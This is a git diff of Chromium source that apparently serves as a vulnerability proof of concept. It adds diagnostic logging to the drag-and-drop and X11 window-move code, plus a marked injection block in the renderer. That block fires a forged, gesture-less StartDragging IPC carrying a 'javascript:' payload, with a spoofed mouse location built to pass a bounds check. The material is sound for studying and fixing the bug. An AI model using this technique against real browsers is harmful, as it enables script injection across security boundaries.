diff --git a/chrome/browser/ui/views/tabs/dragging/tab_drag_controller.cc b/chrome/browser/ui/views/tabs/dragging/tab_drag_controller.cc index 91e4ed439ae7b8..1d43b4cc929506 100644 --- a/chrome/browser/ui/views/tabs/dragging/tab_drag_controller.cc +++ b/chrome/browser/ui/views/tabs/dragging/tab_drag_controller.cc @@ -1754,6 +1754,10 @@ TabDragController::Liveness TabDragController::RunMoveLoop( CHECK(!in_move_loop_); in_move_loop_ = true; + LOG(ERROR) << "[POC-BROWSER] TabDragController::RunMoveLoop ENTER " + "(window-move path: g_is_dragging is NOT set on this path) " + "move_loop_widget=" + << static_cast(move_loop_widget_); views::Widget::MoveLoopResult result = move_loop_widget_->RunMoveLoop( drag_offset, move_loop_source, escape_behavior); // Note: `this` can be deleted here! diff --git a/content/browser/web_contents/web_contents_view_aura.cc b/content/browser/web_contents/web_contents_view_aura.cc index 814daeef66953b..1fba7fb9ece169 100644 --- a/content/browser/web_contents/web_contents_view_aura.cc +++ b/content/browser/web_contents/web_contents_view_aura.cc @@ -1197,6 +1197,14 @@ void WebContentsViewAura::StartDragging( const gfx::Vector2d& cursor_offset, const gfx::Rect& drag_obj_rect, const blink::mojom::DragEventSourceInfo& event_info) { + LOG(ERROR) << "[POC-BROWSER] WebContentsViewAura::StartDragging ENTER " + "url0=" + << (drop_data.url_infos.empty() + ? "" + : drop_data.url_infos[0].url.possibly_invalid_spec()) + << " event_info.location=" << event_info.location.ToString() + << " content_bounds=" + << GetContentNativeView()->GetBoundsInScreen().ToString(); aura::Window* root_window = GetNativeView()->GetRootWindow(); RenderWidgetHostImpl* const source_rwh = static_cast(source_rfh.GetRenderWidgetHost()); diff --git a/third_party/blink/renderer/core/frame/web_frame_widget_impl.cc b/third_party/blink/renderer/core/frame/web_frame_widget_impl.cc index a536e2dbd65ac6..ba47d891bf7f9b 100644 --- a/third_party/blink/renderer/core/frame/web_frame_widget_impl.cc +++ b/third_party/blink/renderer/core/frame/web_frame_widget_impl.cc @@ -75,6 +75,7 @@ #include "third_party/blink/renderer/core/core_initializer.h" #include "third_party/blink/renderer/core/css/media_value_change.h" #include "third_party/blink/renderer/core/css/properties/longhands.h" +#include "third_party/blink/renderer/core/dom/document.h" #include "third_party/blink/renderer/core/dom/element.h" #include "third_party/blink/renderer/core/dom/events/event_dispatch_result.h" #include "third_party/blink/renderer/core/dom/focus_params.h" @@ -2678,6 +2679,45 @@ void WebFrameWidgetImpl::BeginMainFrame(const viz::BeginFrameArgs& args) { DCHECK(!last_frame_time.is_null()); CHECK(LocalRootImpl()); + // ================= POC INJECTION (compromised-renderer simulation) ========= + // A renderer with arbitrary code execution can call + // LocalFrameHost::StartDragging at any time with arbitrary arguments. We + // simulate that here: when JS sets document.title to "POC_FIRE_DRAG", the + // renderer immediately sends a malicious StartDragging IPC with a + // javascript: payload and a kMouse source whose location is the centre of + // this widget's screen rect (so the browser-side W2 bounds check passes). + { + static bool s_poc_fired = false; + LocalFrame* poc_frame = LocalRootImpl()->GetFrame(); + if (!s_poc_fired && poc_frame && poc_frame->GetDocument() && + poc_frame->GetDocument()->title() == "POC_FIRE_DRAG") { + s_poc_fired = true; + WebDragData poc_drag_data; + WebDragData::StringItem poc_item; + poc_item.type = WebString::FromUtf8("text/uri-list"); + poc_item.data = WebString::FromUtf8( + "javascript:alert(document.domain)//drag-payload-hijacked"); + poc_item.title = WebString::FromUtf8("hijacked"); + poc_drag_data.AddItem(poc_item); + mojom::blink::DragEventSourceInfo poc_info; + poc_info.source = ui::mojom::blink::DragEventSource::kMouse; + gfx::Rect poc_r = widget_base_->WidgetScreenRect(); + poc_info.location = + gfx::Point(poc_r.x() + poc_r.width() / 2, + poc_r.y() + poc_r.height() / 2); + LOG(ERROR) << "[POC-RENDERER] firing LocalFrameHost::StartDragging " + "with NO user gesture; event_info.location=" + << poc_info.location.ToString() + << " widget_screen_rect=" << poc_r.ToString(); + poc_frame->GetLocalFrameHostRemote().StartDragging( + poc_drag_data, + static_cast(kDragOperationCopy | + kDragOperationLink), + SkBitmap(), gfx::Vector2d(), gfx::Rect(), poc_info.Clone()); + } + } + // ================= END POC INJECTION ======================================= + if (animation_frame_timing_monitor_) { animation_frame_timing_monitor_->BeginMainFrame( *LocalRootImpl()->GetFrame()->DomWindow(), args.frame_id); diff --git a/ui/base/x/selection_owner.cc b/ui/base/x/selection_owner.cc index aa38e648183dba..cb84f109eeb5d6 100644 --- a/ui/base/x/selection_owner.cc +++ b/ui/base/x/selection_owner.cc @@ -142,6 +142,11 @@ void SelectionOwner::RetrieveTargets(std::vector* targets) { void SelectionOwner::TakeOwnershipOfSelection(const SelectionFormatMap& data) { acquired_selection_timestamp_ = X11EventSource::GetInstance()->GetTimestamp(); + LOG(ERROR) << "[POC-BROWSER] SelectionOwner::TakeOwnershipOfSelection " + "selection_name_=" + << static_cast(selection_name_) + << " x_window_=" << static_cast(x_window_) + << " (XdndSelection now serves the attacker payload)"; SetSelectionOwner(x_window_, selection_name_, acquired_selection_timestamp_); if (GetSelectionOwner(selection_name_) == x_window_) { diff --git a/ui/base/x/x11_whole_screen_move_loop.cc b/ui/base/x/x11_whole_screen_move_loop.cc index 415621b8e9f601..9c97843cab0a8a 100644 --- a/ui/base/x/x11_whole_screen_move_loop.cc +++ b/ui/base/x/x11_whole_screen_move_loop.cc @@ -181,9 +181,18 @@ bool X11WholeScreenMoveLoop::RunMoveLoop( in_move_loop_ = true; canceled_ = false; + static int s_poc_nesting = 0; + s_poc_nesting++; + LOG(ERROR) << "[POC-BROWSER] X11WholeScreenMoveLoop::RunMoveLoop " + "(kNestableTasksAllowed) ENTER this=" + << this << " nesting_depth=" << s_poc_nesting + << " grabbed_pointer=" << grabbed_pointer_; base::RunLoop run_loop(base::RunLoop::Type::kNestableTasksAllowed); quit_closure_ = run_loop.QuitClosure(); run_loop.Run(); + LOG(ERROR) << "[POC-BROWSER] X11WholeScreenMoveLoop::RunMoveLoop EXIT this=" + << this << " nesting_depth=" << s_poc_nesting; + s_poc_nesting--; if (!alive) { return false; diff --git a/ui/ozone/platform/x11/x11_window.cc b/ui/ozone/platform/x11/x11_window.cc index 57ffaee839fc4e..95bd0657f160b7 100644 --- a/ui/ozone/platform/x11/x11_window.cc +++ b/ui/ozone/platform/x11/x11_window.cc @@ -7,6 +7,7 @@ #include #include "base/compiler_specific.h" +#include "base/logging.h" #include "base/memory/scoped_refptr.h" #include "base/no_destructor.h" #include "base/notimplemented.h" @@ -660,6 +661,8 @@ void X11Window::ReleaseCapture() { return; } + LOG(ERROR) << "[POC-BROWSER] X11Window::ReleaseCapture this=" << this + << " -> UngrabPointer() (X11 pointer grab released)"; UngrabPointer(); has_pointer_grab_ = false; @@ -1642,6 +1645,10 @@ void X11Window::DispatchHostWindowDragMovement( } bool X11Window::RunMoveLoop(const gfx::Vector2d& drag_offset) { + LOG(ERROR) << "[POC-BROWSER] X11Window::RunMoveLoop (WINDOW-MOVE entry) " + "this=" + << this << " HasCapture=" << HasCapture() + << " -> X11DesktopWindowMoveClient (does NOT set g_is_dragging)"; return x11_window_move_client_->RunMoveLoop(!HasCapture(), drag_offset); } @@ -1661,6 +1668,9 @@ bool X11Window::StartDrag( DCHECK(drag_drop_client_); DCHECK(!drag_location_delegate_); + LOG(ERROR) << "[POC-BROWSER] X11Window::StartDrag ENTER this=" << this + << " can_grab_pointer=" << can_grab_pointer + << " -> XDragDropClient::InitDrag will take XdndSelection"; drag_finished_callback_ = std::move(drag_finished_callback); drag_location_delegate_ = location_delegate; drag_drop_client_->InitDrag(operations, &data); diff --git a/ui/views/widget/desktop_aura/desktop_drag_drop_client_ozone.cc b/ui/views/widget/desktop_aura/desktop_drag_drop_client_ozone.cc index d341b84886578b..f79c2f485838bc 100644 --- a/ui/views/widget/desktop_aura/desktop_drag_drop_client_ozone.cc +++ b/ui/views/widget/desktop_aura/desktop_drag_drop_client_ozone.cc @@ -10,6 +10,7 @@ #include "base/auto_reset.h" #include "base/functional/bind.h" #include "base/functional/callback_helpers.h" +#include "base/logging.h" #include "base/scoped_observation.h" #include "ui/aura/client/capture_client.h" #include "ui/aura/client/cursor_client.h" @@ -152,9 +153,16 @@ DragOperation DesktopDragDropClientOzone::StartDragAndDrop( // A renderer can send LocalFrameHost::StartDragging at any time, so reject // (rather than CHECK) re-entrant drags from a second top-level window. + LOG(ERROR) << "[POC-BROWSER] DesktopDragDropClientOzone::StartDragAndDrop " + "ENTER this=" + << this << " root_window=" << root_window + << " g_is_dragging=" << g_is_dragging; if (g_is_dragging) { + LOG(ERROR) << "[POC-BROWSER] -> blocked by g_is_dragging guard"; return DragOperation::kNone; } + LOG(ERROR) << "[POC-BROWSER] -> g_is_dragging guard PASSED " + "(guard does not cover window-move loop)"; base::AutoReset drag_scoper(&g_is_dragging, true); DCHECK(!drag_context_); @@ -164,6 +172,11 @@ DragOperation DesktopDragDropClientOzone::StartDragAndDrop( aura::Window* capture_window = aura::client::GetCaptureClient(root_window)->GetGlobalCaptureWindow(); if (capture_window) { + LOG(ERROR) << "[POC-BROWSER] -> ReleaseCapture() on PROCESS-GLOBAL " + "capture_window=" + << capture_window + << " (this is the tab-drag's window if a tab-drag is in " + "progress)"; capture_window->ReleaseCapture(); } }